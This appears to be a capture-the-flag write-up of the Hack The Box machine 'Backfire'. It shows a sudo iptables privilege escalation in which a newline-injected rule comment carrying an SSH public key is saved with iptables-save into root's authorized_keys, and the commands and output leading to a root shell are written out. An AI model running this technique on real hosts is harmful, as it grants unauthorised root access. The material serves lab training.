rc gcc-mingw-w64-i686 12.2.0-14+25.2 all GNU C compiler for MinGW-w64 targeting Win32
rc gcc-mingw-w64-x86-64 12.2.0-14+25.2 all GNU C compiler for MinGW-w64 targeting Win64
ii gfortran 4:12.2.0-3 amd64 GNU Fortran 95 compiler
ii gfortran-12 12.2.0-14 amd64 GNU Fortran compiler
ii rpcsvc-proto 1.4.3-1 amd64 RPC protocol compiler and definitions
/usr/bin/gcc╔══════════╣ Analyzing .service files
╚ https://book.hacktricks.xyz/linux-hardening/privilege-escalation#services
/etc/systemd/system/hardhat_client.service is calling this writable executable: /home/sergej/
/etc/systemd/system/hardhat_server.service is calling this writable executable: /home/sergej/
/etc/systemd/system/multi-user.target.wants/hardhat_client.service is calling this writable executable: /home/sergej/
/etc/systemd/system/multi-user.target.wants/hardhat_server.service is calling this writable executable: /home/sergej/
/etc/systemd/system/multi-user.target.wants/networking.service could be executing some relative path
/etc/systemd/system/network-online.target.wants/networking.service could be executing some relative path
/etc/systemd/system/webserver.service could be executing some relative pathiptables
- https://www.shielder.com/blog/2024/09/a-journey-from-sudo-iptables-to-local-privilege-escalation/
sergej@backfire:~$ sudo iptables -A INPUT -i lo -j ACCEPT -m comment --comment "Allow packets to localhost"sergej@backfire:~$ sudo iptables --list-rules
-P INPUT ACCEPT
-P FORWARD ACCEPT
-P OUTPUT ACCEPT
-A INPUT -s 127.0.0.1/32 -p tcp -m tcp --dport 5000 -j ACCEPT
-A INPUT -s 127.0.0.1/32 -p tcp -m tcp --dport 5000 -j ACCEPT
-A INPUT -p tcp -m tcp --dport 5000 -j REJECT --reject-with icmp-port-unreachable
-A INPUT -s 127.0.0.1/32 -p tcp -m tcp --dport 7096 -j ACCEPT
-A INPUT -s 127.0.0.1/32 -p tcp -m tcp --dport 7096 -j ACCEPT
-A INPUT -p tcp -m tcp --dport 7096 -j REJECT --reject-with icmp-port-unreachable
-A INPUT -i lo -m comment --comment "Allow packets to localhost" -j ACCEPT
-A INPUT -i lo -j ACCEPT
- dump all the rules
sergej@backfire:~$ sudo iptables -S
-P INPUT ACCEPT
-P FORWARD ACCEPT
-P OUTPUT ACCEPT
-A INPUT -s 127.0.0.1/32 -p tcp -m tcp --dport 5000 -j ACCEPT
-A INPUT -s 127.0.0.1/32 -p tcp -m tcp --dport 5000 -j ACCEPT
-A INPUT -p tcp -m tcp --dport 5000 -j REJECT --reject-with icmp-port-unreachable
-A INPUT -s 127.0.0.1/32 -p tcp -m tcp --dport 7096 -j ACCEPT
-A INPUT -s 127.0.0.1/32 -p tcp -m tcp --dport 7096 -j ACCEPT
-A INPUT -p tcp -m tcp --dport 7096 -j REJECT --reject-with icmp-port-unreachable- By using the $’ quoting, we can instruct bash to replace the \n character with a newline!
- Now, let’s dump again the loaded rules to check whether the newline was preserved:
sergej@backfire:~$ sudo iptables -A INPUT -i lo -j ACCEPT -m comment --comment $'Allow packets to localhost\nThis rule rocks!'
sergej@backfire:~$ sudo iptables -S
-P INPUT ACCEPT
-P FORWARD ACCEPT
-P OUTPUT ACCEPT
-A INPUT -s 127.0.0.1/32 -p tcp -m tcp --dport 5000 -j ACCEPT
-A INPUT -s 127.0.0.1/32 -p tcp -m tcp --dport 5000 -j ACCEPT
-A INPUT -p tcp -m tcp --dport 5000 -j REJECT --reject-with icmp-port-unreachable
-A INPUT -s 127.0.0.1/32 -p tcp -m tcp --dport 7096 -j ACCEPT
-A INPUT -s 127.0.0.1/32 -p tcp -m tcp --dport 7096 -j ACCEPT
-A INPUT -p tcp -m tcp --dport 7096 -j REJECT --reject-with icmp-port-unreachable
-A INPUT -i lo -m comment --comment "Allow packets to localhostArbitrary File Overwrite via iptables-save
If this man page is right (it probably is), by simply running iptables-save without specifying any file, the rules will be dumped to STDOUT:
sergej@backfire:~$ sudo iptables-save
# Generated by iptables-save v1.8.9 (nf_tables) on Sun Jan 26 00:21:10 2025
*filter
:INPUT ACCEPT [77:5488]
:FORWARD ACCEPT [0:0]
:OUTPUT ACCEPT [122:11404]
-A INPUT -s 127.0.0.1/32 -p tcp -m tcp --dport 5000 -j ACCEPT
-A INPUT -s 127.0.0.1/32 -p tcp -m tcp --dport 5000 -j ACCEPT
-A INPUT -p tcp -m tcp --dport 5000 -j REJECT --reject-with icmp-port-unreachable
-A INPUT -s 127.0.0.1/32 -p tcp -m tcp --dport 7096 -j ACCEPT
-A INPUT -s 127.0.0.1/32 -p tcp -m tcp --dport 7096 -j ACCEPT
-A INPUT -p tcp -m tcp --dport 7096 -j REJECT --reject-with icmp-port-unreachable
-A INPUT -i lo -m comment --comment "Allow packets to localhost
This rule rocks!" -j ACCEPT
COMMIT
# Completed on Sun Jan 26 00:21:10 2025- saving it as
test.txt
sergej@backfire:~$ sudo iptables -A INPUT -i lo -j ACCEPT -m comment --comment $'Allow packets to localhost\nThis rule rocks!'
sergej@backfire:~$ sudo iptables-save -f test.txt
sergej@backfire:~$ cat test.txt
# Generated by iptables-save v1.8.9 (nf_tables) on Sun Jan 26 00:20:36 2025
*filter
:INPUT ACCEPT [38:2796]
:FORWARD ACCEPT [0:0]
:OUTPUT ACCEPT [60:5344]
-A INPUT -s 127.0.0.1/32 -p tcp -m tcp --dport 5000 -j ACCEPT
-A INPUT -s 127.0.0.1/32 -p tcp -m tcp --dport 5000 -j ACCEPT
-A INPUT -p tcp -m tcp --dport 5000 -j REJECT --reject-with icmp-port-unreachable
-A INPUT -s 127.0.0.1/32 -p tcp -m tcp --dport 7096 -j ACCEPT
-A INPUT -s 127.0.0.1/32 -p tcp -m tcp --dport 7096 -j ACCEPT
-A INPUT -p tcp -m tcp --dport 7096 -j REJECT --reject-with icmp-port-unreachable
-A INPUT -i lo -m comment --comment "Allow packets to localhost
This rule rocks!" -j ACCEPT
COMMIT
# Completed on Sun Jan 26 00:20:36 2025- it is own by
root
sergej@backfire:~$ ls -al
total 728
drwx------ 10 sergej sergej 4096 Jan 26 00:19 .
drwxr-xr-x 4 root root 4096 Sep 28 20:05 ..
drwxr-xr-x 3 sergej sergej 4096 Sep 28 20:13 .aspnet
lrwxrwxrwx 1 root root 9 Dec 12 10:14 .bash_history -> /dev/null
-rw-r--r-- 1 sergej sergej 220 Sep 28 20:05 .bash_logout
-rw-r--r-- 1 sergej sergej 3526 Sep 28 20:05 .bashrc
drwx------ 3 sergej sergej 4096 Sep 28 21:42 .config
drwxr-xr-x 12 sergej sergej 4096 Sep 28 20:23 .dotnet
drwx------ 3 sergej sergej 4096 Jan 25 14:13 .gnupg
drwxr-xr-x 12 sergej sergej 4096 Sep 28 22:12 HardHatC2
-rwxr-xr-x 1 sergej sergej 366 Sep 28 22:20 hardhat_firewall.sh
-rw------- 1 sergej sergej 20 Jan 25 14:20 .lesshst
-rwxr-xr-x 1 sergej sergej 676221 Aug 3 2023 linpeas.sh
drwxr-xr-x 3 sergej sergej 4096 Sep 28 20:13 .local
drwxr-xr-x 4 sergej sergej 4096 Sep 28 20:13 .nuget
-rw-r--r-- 1 sergej sergej 807 Sep 28 20:05 .profile
drwxr-xr-x 2 sergej sergej 4096 Jan 25 14:06 .ssh
-rw-r--r-- 1 root root 614 Jan 26 00:19 test.txtProof of Concept
The steps to reproduce the privilege escalation are simple:
- Encrypt the new
rootpassword in the right format by runningopenssl passwd <password> - Take the entry for
rootin the/etc/passwd, and copy it somewhere, replacing thexvalue of the encrypted password with the value generated at step 2 - Inject the forged
rootentry in a newiptablesrule comment
- the above didn't work therefore planted keys on root
sergej@backfire:~$ sudo /usr/sbin/iptables -A INPUT -i lo -j ACCEPT -m comment --comment $'\nssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIAo8yqNh3gxqSpyiidDkG8Xwd7XEfA1E3AH3DZ9FfPXC root@kali\n'sergej@backfire:~$ sudo /usr/sbin/iptables -S
-P INPUT ACCEPT
-P FORWARD ACCEPT
-P OUTPUT ACCEPT
-A INPUT -s 127.0.0.1/32 -p tcp -m tcp --dport 5000 -j ACCEPT
-A INPUT -s 127.0.0.1/32 -p tcp -m tcp --dport 5000 -j ACCEPT
-A INPUT -p tcp -m tcp --dport 5000 -j REJECT --reject-with icmp-port-unreachable
-A INPUT -s 127.0.0.1/32 -p tcp -m tcp --dport 7096 -j ACCEPT
-A INPUT -s 127.0.0.1/32 -p tcp -m tcp --dport 7096 -j ACCEPT
-A INPUT -p tcp -m tcp --dport 7096 -j REJECT --reject-with icmp-port-unreachable
-A INPUT -i lo -m comment --comment "
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIAo8yqNh3gxqSpyiidDkG8Xwd7XEfA1E3AH3DZ9FfPXC root@kalin
" -j ACCEPT
-A INPUT -i lo -m comment --comment "
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIAo8yqNh3gxqSpyiidDkG8Xwd7XEfA1E3AH3DZ9FfPXC root@kali
" -j ACCEPTsergej@backfire:~$ sudo /usr/sbin/iptables-save -f /root/.ssh/authorized_keysssh -i id_rsa root@10.10.11.49
Enter passphrase for key 'id_rsa':
Linux backfire 6.1.0-29-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.123-1 (2025-01-02) x86_64
root@backfire:~# whoami
rootroot.txt
root@backfire:~# cat root.txt
c7f7fdb5...Up next
HTB — Broker
Apache ActiveMQ CVE-2023-46604 unauthenticated RCE via ClassInfo deserialization. Sudo nginx misconfiguration for arbitrary file read and root access.
HTB — OpenAdmin
OpenNetAdmin 18.1.1 RCE via command injection in web console. Internal Apache vhost with SSH key in password-protected page for lateral movement.
HTB — Popcorn
File upload bypass on torrent hosting site via content-type manipulation for PHP webshell. Kernel exploit or DirtyCow for privilege escalation.